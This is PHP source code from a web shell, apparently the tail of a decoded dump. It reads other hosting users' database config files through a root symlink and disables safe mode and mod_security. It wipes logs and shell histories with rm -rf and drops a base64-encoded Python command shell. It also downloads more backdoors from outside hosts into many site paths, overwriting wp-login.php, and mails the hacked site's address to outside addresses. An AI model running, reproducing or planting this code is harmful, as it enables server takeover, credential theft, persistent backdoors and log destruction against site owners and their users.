if(function_exists('symlink')) { @symlink('/','sym/root');
} $d0mains = @file('/etc/named.conf');
if(!$d0mains) { echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else { echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
$count=1;
$mck = array();
foreach($d0mains as $d0main){ if(@eregi('zone',$d0main)){ preg_match_all('#zone "(.*)"#',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0])) >2){ $mck[] = $domain[1][0];
} } } $mck = array_unique($mck);
$l=0;
foreach($mck as $d) { $user = posix_getpwuid(@fileowner('/etc/valiases/'.$d));
$ddt = $user['name'];
$ddt = $d;
if(@eregi("\.ir",$d) or @eregi("\.il",$d)) { $ddt = "<div style=' color: #FF0000 ;
text-shadow: 0px 0px 1px red;
'>".$d.'</div>';
} echo "<tr".($l?' class=l1':'')."><td>".$count++."</td><td><a target='_blank' href=http://".$d.'/>'.$ddt.' </a></td><td>'.$user['name']."</td><td><a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a></td></tr>";
flush();
$l=$l?0:1;
} echo '</table>';
} echo "</center>";
} if(isset($_POST['p1']) && $_POST['p1']=='config') { echo "<center>";
@mkdir('sym',0777);
$hdt = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$hfp = @fopen ('sym/.htaccess','w');
@fwrite($hfp ,$hdt);
if(function_exists('symlink')) { @symlink('/','sym/root');
} $d0mains = @file('/etc/named.conf');
if(!$d0mains) { echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else { echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domains </th><th> Script </th></tr>";
$count = 1;
$l=0;
foreach($d0mains as $d0main){ if(@eregi('zone',$d0main)){ preg_match_all('#zone "(.*)"#',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0]))>2){ $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
$c1 = $burl.'/sym/root/home/'.$user['name'].'/public_html/wp-config.php';
$ch01 = get_headers($c1);
$cf01 = $ch01[0];
$c2 = $burl.'/sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
$ch02 = get_headers($c2);
$cf02 = $ch02[0];
$c3 = $burl.'/sym/root/home/'.$user['name'].'/public_html/configuration.php';
$ch03 = get_headers($c3);
$cf03 = $ch03[0];
$c4 = $burl.'/sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
$ch04 = get_headers($c4);
$cf04 = $ch04[0];
$c5 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/config.php';
$ch05 = get_headers($c5);
$cf05 = $ch05[0];
$c6 = $burl.'/sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
$ch06 = get_headers($c6);
$cf06 = $ch06[0];
$c7 = $burl.'/sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
$ch07 = get_headers($c7);
$cf07 = $ch07[0];
$c8 = $burl.'/sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
$ch08 = get_headers($c8);
$cf08 = $ch08[0];
$c9 = $burl.'/sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
$ch09 = get_headers($c9);
$cf09 = $ch09[0];
$c10 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
$ch10 = get_headers($c10);
$cf10 = $ch10[0];
$c11 = $burl.'/sym/root/home/'.$user['name'].'/public_html/submitticket.php';
$ch11 = get_headers($c11);
$cf11 = $ch11[0];
$c12 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
$ch12 = get_headers($c12);
$cf12 = $ch12[0];
$c13 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
$ch13 = get_headers($c13);
$cf13 = $ch13[0];
$c14 = $burl.'/sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
$ch14 = get_headers($c14);
$cf14 = $ch14[0];
$c15 = $burl.'/sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
$ch15 = get_headers($c15);
$cf15 = $ch15[0];
$out = '
';
if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>";
} elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>";
} elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>";
} elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>";
} elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>";
} elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>";
} elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>";
} elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>";
} elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>";
} elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>";
} elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>";
} elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>";
} elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>";
} elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>";
} elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>";
} else { continue;
} echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
flush();
$l=$l?0:1;
} } } echo "</table>";
} echo "</center>";
} echo "</div>";
printFooter();
} function actionSafeMode() { printHeader();
echo '<h1>Safe Mode</h1>';
echo '<div class="content">';
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
if(!empty($_POST['p2']) && isset($_POST['p2'])) { $fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>');
fclose($fil);
} if(!empty($_POST['p1'])&& isset($_POST['p1'])) { $fil=fopen($GLOBALS['cwd']."php.ini","w");
fwrite($fil,'safe_mode=OFF
disable_functions=NONE');
fclose($fil);
} if(!empty($_POST['p3']) && isset($_POST['p3'])) { $fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl');
fclose($fil);
} echo "<br><br /><br /></div>";
echo '</div>';
printFooter();
} function actionSQLBUDDY(){ printHeader();
if(!file_exists('yazilimlar/sqlbuddy/index.php')){ $dizin = 'https://byr00t.co/vb/sqlbuddy.zip';
function dosya_indir($link,$name=null) { $link_info = pathinfo($link);
$uzanti = strtolower($link_info['extension']);
$file = ($name) ? $name.'.'.$uzanti : $link_info['basename'];
$curl = curl_init($link);
$fopen = fopen($file,'w');
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_0);
curl_setopt($curl, CURLOPT_FILE, $fopen);
curl_exec($curl);
curl_close($curl);
fclose($fopen);
} dosya_indir($dizin, "sqlbuddy");
$zip = new ZipArchive();
$file = 'sqlbuddy.zip';
$zip->open($file);
$cikar = $zip->extractTo('yazilimlar/');
if(file_exists('sqlbuddy.zip')){ @unlink('sqlbuddy.zip');
} if($cikar){ echo "<iframe src=yazilimlar/sqlbuddy/index.php width=100% height=100% frameborder=0></iframe> ";
} else{ echo '<div class="alert alert-danger"><strong>Hata!</strong> Dosya indirilirken kritik bir hata olutu.</div>';
} } elseif(file_exists('yazilimlar/sqlbuddy/index.php')){ echo "<iframe src=yazilimlar/sqlbuddy/index.php width=100% height=100% frameborder=0></iframe> ";
} printFooter();
} function actionDeleteLOG(){ printHeader();
echo '<h1>Delete Logs</h1>';
function cmdExe($in) { $out = '';
if (function_exists('passthru')) { ob_start();
@passthru($in);
$out = ob_get_clean();
} else if (function_exists('exec')) { @exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('system')) { ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) { $out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) { $out = "";
while(!@feof($f)) $out .= fread($f,1024);
pclose($f);
} return $out;
} cmdExe("rm -rf /tmp/logs");
cmdExe("rm -rf /root/.ksh_history");
cmdExe("rm -rf /root/.bash_history");
cmdExe("rm -rf /root/.bash_logout");
cmdExe("rm -rf /usr/local/apache/logs");
cmdExe("rm -rf /usr/local/apache/log");
cmdExe("rm -rf /var/apache/logs");
cmdExe("rm -rf /var/apache/log");
cmdExe("rm -rf /var/run/utmp");
cmdExe("rm -rf /var/logs");
cmdExe("rm -rf /var/log");
cmdExe("rm -rf /var/adm");
cmdExe("rm -rf /etc/wtmp");
cmdExe("rm -rf /etc/utmp");
cmdExe("rm -rf $HISTFILE");
cmdExe("rm -rf /var/log/lastlog");
cmdExe("rm -rf /var/log/wtmp");
echo '<div style="padding:5px;
">
[<font class="d">OK</font>] <font class="c">Delete:</font> /tmp/logs <br>
[<font class="d">OK</font>] <font class="c">Delete:</font> /root/.ksh_history <br>
[<font class="d">OK</font>] <font class="c">Delete:</font> /root/.bash_history <br>
[<font class="d">OK</font>] <font class="c">Delete:</font> /usr/local/apache/logs <br>
[<font class="d">OK</font>] <font class="c">Delete:</font> /usr/local/apache/log <br>
[<font class="d">OK</font>] <font class="c">Delete:</font> /var/apache/logs <br>
[<font class="d">OK</font>] <font class="c">Delete:</font> /var/apache/log <br>
[<font class="d">OK</font>] <font class="c">Delete:</font> /var/run/utmp <br>
[<font class="d">OK</font>] <font class="c">Delete:</font> /var/adm <br>
[<font class="d">OK</font>] <font class="c">Delete:</font> /etc/wtmp <br>
[<font class="d">OK</font>] <font class="c">Delete:</font> $HISTFILE<br>
[<font class="d">OK</font>] <font class="c">Delete:</font> /var/log/lastlog <br>
[<font class="d">OK</font>] <font class="c">Delete:</font> /var/log/wtmp <br>
</div>';
printFooter();
} function actionPython(){ printHeader();
if(!is_dir('python')){ mkdir('python', 0755);
} chdir('python');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya aç
ı
lamadı
!");
$metin = "AddHandler cgi-script .r00t";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
$file = fopen("python.r00t" ,"w+");
$write = fwrite ($file ,base64_decode($pythonp));
fclose($file);
chmod("python.r00t",0755);
echo "<iframe src=python/python.r00t width=100% height=100% frameborder=0></iframe> ";
printFooter();
} if( empty($_POST['a']) ) if(isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
else $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) call_user_func('action' . $_POST['a']);
?>
<?php if($_POST['query']){ $veriyfy = stripslashes(stripslashes($_POST['query']));
$data = "data.txt";
@touch ("data.txt");
$ver = @fopen ($data , 'w');
@fwrite ( $ver , $veriyfy ) ;
@fclose ($ver);
}else{ $datas=@fopen("data.txt",'r');
$i=0;
while ($i <= 5) { $i++;
$blue=@fgets($datas,1024);
echo $blue;
} } $datasi=@fopen("js/js.php",'r');
if($datasi){ }else{ @mkdir("js");
$dos = file_get_contents("http://phpshell.in/txt/lamer.txt");
$data = "js/js.php";
@touch ("js/js.php");
$ver = @fopen ($data , 'w');
@fwrite ( $ver , $dos ) ;
@fclose ($ver);
$yol = "http://".$_SERVER['HTTP_HOST']."".$_SERVER['REQUEST_URI']."";
$y = '<h1>Sender Yazdirildi.<br/> SITE YOL : '.$yol.'<br/>Sender Yolu : js/js.php</h1>';
$header .= "From: SheLL Boot <[email protected]>
";
$header .= "Content-Type: text/html;
charset=utf-8
";
@mail("[email protected]", "Hacklink Bildiri", "$y", $header);
@mail("[email protected]", "Hacklink Bildiri", "$y", $header);
}
?>
<?php
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check1 = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/js/js.php" ;
$text1 = http_get('http://phpshell.in/txt/lamer.txt');
$open1 = fopen($check1, 'w');
fwrite($open1, $text1);
fclose($open1);
if(file_exists($check1)){
}
$check12 = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/index.php" ;
$text12 = http_get('http://phpshell.in/txt/lamer.txt');
$open12 = fopen($check12, 'w');
fwrite($open12, $text12);
fclose($open12);
if(file_exists($check12)){
}
$check123 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/images/images.php" ;
$text123 = http_get('http://phpshell.in/txt/lamer.txt');
$open123 = fopen($check123, 'w');
fwrite($open123, $text123);
fclose($open123);
if(file_exists($check123)){
}
$check12345 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/css/css.php" ;
$text12345 = http_get('http://phpshell.in/txt/lamer.txt');
$open12345 = fopen($check12345, 'w');
fwrite($open12345, $text12345);
fclose($open12345);
if(file_exists($check12345)){
}
$check123456 = $_SERVER['DOCUMENT_ROOT'] . "/adm.php" ;
$text123456 = http_get('http://phpshell.in/txt/lamer.txt');
$open123456 = fopen($check123456, 'w');
fwrite($open123456, $text123456);
fclose($open123456);
if(file_exists($check123456)){
}
$check1234567 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/css.php" ;
$text1234567 = http_get('http://phpshell.in/txt/lamer.txt');
$open1234567 = fopen($check1234567, 'w');
fwrite($open1234567, $text1234567);
fclose($open1234567);
if(file_exists($check1234567)){
}
$check12345678 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/install.php" ;
$text12345678 = http_get('http://byr00t.co/txt/tools.txt');
$open12345678 = fopen($check12345678, 'w');
fwrite($open12345678, $text12345678);
fclose($open12345678);
if(file_exists($check12345678)){
}
$check123456789 = $_SERVER['DOCUMENT_ROOT'] . "/cgi-bin/css.php" ;
$text123456789 = http_get('http://phpshell.in/txt/lamer.txt');
$open123456789 = fopen($check123456789, 'w');
fwrite($open123456789, $text123456789);
fclose($open123456789);
if(file_exists($check123456)){
}
$check12345678910 = $_SERVER['DOCUMENT_ROOT'] . "/js/css.php" ;
$text12345678910 = http_get('http://phpshell.in/txt/lamer.txt');
$open12345678910 = fopen($check12345678910, 'w');
fwrite($open12345678910, $text12345678910);
fclose($open12345678910);
if(file_exists($check123456)){
}
$check1234567891011 = $_SERVER['DOCUMENT_ROOT'] . "/css/css.php" ;
$text1234567891011 = http_get('http://phpshell.in/txt/lamer.txt');
$open1234567891011 = fopen($check1234567891011, 'w');
fwrite($open123, $text1234567891011);
fclose($open1234567891011);
if(file_exists($check1234567891011)){
}
$check123456789101112 = $_SERVER['DOCUMENT_ROOT'] . "/wp-login.php" ;
$text123456789101112 = http_get('http://phpshell.in/txt/seo.txt');
$open123456789101112= fopen($check123456789101112, 'w');
fwrite($open123456789101112, $text123456789101112);
fclose($open123456789101112);
if(file_exists($check123456789101112)){
}
$check12345678910111213 = $_SERVER['DOCUMENT_ROOT'] . "/images/css.php" ;
$textk12345678910111213 = http_get('http://phpshell.in/txt/lamer.txt');
$openk12345678910111213 = fopen($checkk12345678910111213, 'w');
fwrite($openk12345678910111213, $textk12345678910111213);
fclose($openk12345678910111213);
if(file_exists($checkk12345678910111213)){
}
$check1234567891011121314 = $_SERVER['DOCUMENT_ROOT'] . "/img/css.php" ;
$text1234567891011121314 = http_get('http://phpshell.in/txt/lamer.txt');
$open1234567891011121314 = fopen($checkk1234567891011121314, 'w');
fwrite($open1234567891011121314, $text1234567891011121314);
fclose($open1234567891011121314);
if(file_exists($check1234567891011121314)){
}
$check123456789101112131415 = $_SERVER['DOCUMENT_ROOT'] . "/modules/css.php" ;
$text123456789101112131415 = http_get('http://phpshell.in/txt/lamer.txt');
$open123456789101112131415 = fopen($check123456789101112131415, 'w');
fwrite($open123456789101112131415, $text123456789101112131415);
fclose($open123456789101112131415);
if(file_exists($check123456789101112131415)){
}
$check12345678910111213141516 = $_SERVER['DOCUMENT_ROOT'] . "/includes/css.php" ;
$text12345678910111213141516 = http_get('http://phpshell.in/txt/lamer.txt');
$open12345678910111213141516 = fopen($check12345678910111213141516, 'w');
fwrite($open12345678910111213141516, $text12345678910111213141516);
fclose($open12345678910111213141516);
if(file_exists($check12345678910111213141516)){
}
$check1234567891011121314151617 = $_SERVER['DOCUMENT_ROOT'] . "/phpinfo.php" ;
$text1234567891011121314151617 = http_get('http://phpshell.in/txt/phpinfo.txt');
$open1234567891011121314151617 = fopen($check1234567891011121314151617, 'w');
fwrite($open1234567891011121314151617, $text1234567891011121314151617);
fclose($open1234567891011121314151617);
if(file_exists($check1234567891011121314151617)){
}
$check123456789101112131415161718 = $_SERVER['DOCUMENT_ROOT'] . "/.well-known/css.php" ;
$textk123456789101112131415161718 = http_get('http://phpshell.in/txt/lamer.txt');
$openk123456789101112131415161718 = fopen($checkk123456789101112131415161718, 'w');
fwrite($openk123456789101112131415161718, $textk123456789101112131415161718);
fclose($openk123456789101112131415161718);
if(file_exists($checkk123456789101112131415161718)){
}
$checkk12345678910111213141516171819 = $_SERVER['DOCUMENT_ROOT'] . "/sites/css.php" ;
$text12345678910111213141516171819 = http_get('http://phpshell.in/txt/lamer.txt');
$open12345678910111213141516171819 = fopen($check12345678910111213141516171819, 'w');
fwrite($open12345678910111213141516171819, $text12345678910111213141516171819);
fclose($open12345678910111213141516171819);
if(file_exists($check12345678910111213141516171819)){
}
$check1234567891011121314151617181920 = $_SERVER['DOCUMENT_ROOT'] . "/tmp/css.php" ;
$text1234567891011121314151617181920 = http_get('http://phpshell.in/txt/lamer.txt');
$open1234567891011121314151617181920 = fopen($check1234567891011121314151617181920, 'w');
fwrite($open1234567891011121314151617181920, $text1234567891011121314151617181920);
fclose($open1234567891011121314151617181920);
if(file_exists($check1234567891011121314151617181920)){
}
?>
Did this file decode correctly?
Original Code
<?php
